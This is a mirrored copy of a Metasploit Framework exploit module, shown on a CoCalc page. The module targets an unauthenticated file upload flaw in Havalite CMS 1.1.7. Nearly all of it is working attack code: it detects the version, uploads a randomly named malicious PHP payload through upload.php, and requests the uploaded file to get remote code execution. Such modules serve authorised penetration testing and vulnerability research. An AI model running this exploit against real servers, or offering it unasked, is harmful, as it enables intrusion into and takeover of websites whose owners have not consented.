Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/havalite_upload_exec.rb
19812 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::PhpEXE
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => "Havalite CMS Arbitary File Upload Vulnerability",
17
'Description' => %q{
18
This module exploits a file upload vulnerability found in Havalite CMS 1.1.7, and
19
possibly prior. Attackers can abuse the upload feature in order to upload a
20
malicious PHP file without authentication, which results in arbitrary remote code
21
execution.
22
},
23
'License' => MSF_LICENSE,
24
'Author' => [
25
'CWH',
26
'sinn3r' # Metasploit
27
],
28
'References' => [
29
['OSVDB', '94405'],
30
['EDB', '26243']
31
],
32
'Payload' => {
33
'BadChars' => "\x00"
34
},
35
'Platform' => %w{linux php},
36
'Targets' => [
37
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
38
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
39
],
40
'Privileged' => false,
41
'DisclosureDate' => '2013-06-17',
42
'DefaultTarget' => 0,
43
'Notes' => {
44
'Reliability' => UNKNOWN_RELIABILITY,
45
'Stability' => UNKNOWN_STABILITY,
46
'SideEffects' => UNKNOWN_SIDE_EFFECTS
47
}
48
)
49
)
50
51
register_options(
52
[
53
OptString.new('TARGETURI', [true, 'The base path to havalite', '/'])
54
]
55
)
56
end
57
58
#
59
# Checks if target is running HavaLite CMS 1.1.7
60
# We only flag 1.1.7 as vulnerable, because we don't have enough information from
61
# the vendor or OSVDB about exactly which ones are really vulnerable.
62
#
63
def check
64
uri = normalize_uri(target_uri.path, 'havalite/')
65
res = send_request_raw({ 'uri' => uri })
66
67
if not res
68
vprint_error("Connection timed out")
69
return Exploit::CheckCode::Unknown
70
end
71
72
js_src = res.body.scan(/<script type="text\/javascript">(.+)<\/script>/im).flatten[0] || ''
73
version = js_src.scan(/var myVersion = '(.+)';/).flatten[0] || ''
74
75
if not version.empty? and version =~ /1\.1\.7/
76
vprint_status("Version found: #{version}")
77
return Exploit::CheckCode::Appears
78
end
79
80
Exploit::CheckCode::Safe
81
end
82
83
#
84
# Uploads our malicious file
85
#
86
def upload(base)
87
p = get_write_exec_payload(:unlink_self => true)
88
fname = "#{rand_text_alpha(5)}.php"
89
90
data = Rex::MIME::Message.new
91
data.add_part(p, "application/octet-stream", nil, "form-data; name=\"files[]\"; filename=\"#{fname}\"")
92
post_data = data.to_s
93
94
res = send_request_cgi({
95
'method' => 'POST',
96
'uri' => normalize_uri(base, 'havalite', 'upload.php'),
97
'ctype' => "multipart/form-data; boundary=#{data.bound}",
98
'data' => post_data
99
})
100
101
if not res
102
fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading")
103
elsif res.code.to_i == 404
104
fail_with(Failure::NotFound, "#{peer} - No upload.php found")
105
elsif res.body =~ /"error"\:"abort"/
106
fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}")
107
end
108
109
return fname
110
end
111
112
#
113
# Executes our uploaded malicious file
114
#
115
def exec(base, payload_fname)
116
res = send_request_raw({
117
'uri' => normalize_uri(base, 'havalite', 'tmp', 'files', payload_fname)
118
})
119
120
if res and res.code == 404
121
fail_with(Failure::NotFound, "#{peer} - Not found: #{payload_fname}")
122
end
123
end
124
125
def exploit
126
base = target_uri.path
127
128
print_status("Uploading malicious file...")
129
fname = upload(base)
130
131
print_status("Executing #{fname}...")
132
exec(base, fname)
133
end
134
end
135
136